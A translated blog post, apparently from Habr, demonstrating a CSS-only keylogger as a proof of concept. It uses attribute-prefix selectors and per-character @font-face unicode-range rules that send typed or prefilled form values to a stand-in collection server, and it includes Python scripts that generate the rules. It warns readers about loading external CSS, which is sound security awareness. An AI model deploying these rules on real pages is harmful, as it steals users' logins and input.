📜 ⬆️ ⬇️

Create CSS keylogger

It often happens that external JS files look like a threat to the client, while external CSS does not attach much importance. It would seem, how can CSS rules threaten the security of your application and collect logins? If you think that this is impossible, then the post will be useful to you.


We will look at examples of how you can implement a simple keylogger with access only to a CSS file connected to the victim page.


Introduction


Not so long ago, I wrote a post on how to track user actions using CSS , which received the question of the format "can we collect form data using CSS". Perhaps, at first glance, it seems that this is impossible. But let's look at CSS selectors, taking into account that we will apply them to the input type = "text" tag.


First of all, it seems logical to use the attribute selector for this purpose.
of type input [value ^ = "login"] , which allows you to select text content fields that begin with the string "login".


We can generate a dictionary of words, and create many CSS rules using the jsfiddle pattern:


input[value^="my_login1"] { background: url("https://example.com/save-login/my_login"); } input[value^="other_text"] { background: url("https://example.com/save-login/other_text"); } // ... 

This approach has a significant drawback; such a scheme will send requests only if the input tag initially had the value attribute set on the server side. On the other hand, it happens that after submitting the form, the same form is returned to the user (with the fields already filled in) but with a list of necessary corrections. In this case, our method will work 100%.


Let's write a small script to generate CSS with the right combinations:


 import itertools from string import Template alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://xx/save') for subset in itertools.combinations(alphabet, 4): print(Template(cssTemplate).substitute(password = ''.join(subset))) 

In this way, we get 58905 rules that, after processing GZIP, fit into a 350K file. If a field in which the text matches one of our rules (say, begins with the word "XXXX") is found on the victim page, we will receive a GET request for xx / save / XXXX .


We work with user input


Pre-filled fields in the form are very rare. Moreover, the contents of this field may not coincide with the special dictionary that we generated in the previous step. It would be nice to be able to receive information at the moment when the user enters it in the text field.


The @ font-face rule that allows you to connect your own font is best for this. As well as the unicode-range instruction, which allows you to segment your font, clearly indicating to which unicode code point a particular file belongs.


In practice, it usually looks like splitting a font into several files, according to a language feature (for example, latin, greek, cyrillic), so that the client downloads only that part of the font that is presented on the page. Perhaps you have met with this approach using fonts.google.com :


 /* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */ /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } 

Similarly, we can create our own font, and specify a separate rule for each character. Thereby forcing the browser to make a GET request as soon as this symbol is needed for display.


Consider the following jsfiddle example:


 @font-face { font-family: spyFont; src: url(c/d/keylogger/a), local(Arial); unicode-range: U+0061; } input { font-family: spyFont, sans-serif; } 

In this case, U + 0061 corresponds to the symbol "A". When you enter a character, we get a GET request to c / d / keylogger / a .


Consider a small script that will allow you to generate a font for characters from a dictionary:


 from string import Template alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont') for char in alphabet: codepoint = ('U+%04x' % ord(char)) print(Template(cssTemplate).substitute(char = char, codepoint = codepoint)) 

With such rules, we will create a font that will log user input on our server. This approach is also not perfect: character requests come once for each character. In other words, if the user enters "AA", we get one GET.


Let's sum up


By applying a combination of a static dictionary with input [value ^ = "XX"] directives and unicode-range rules for each character separately, we will be able to collect a significant set of data to predict the user's current input. An example of such a combination can be found here .


Be careful with plug-in CSS files from external sources.


This post is written solely as a proof-of-concept for informational purposes only.


')

Source: https://habr.com/ru/post/348210/


All Articles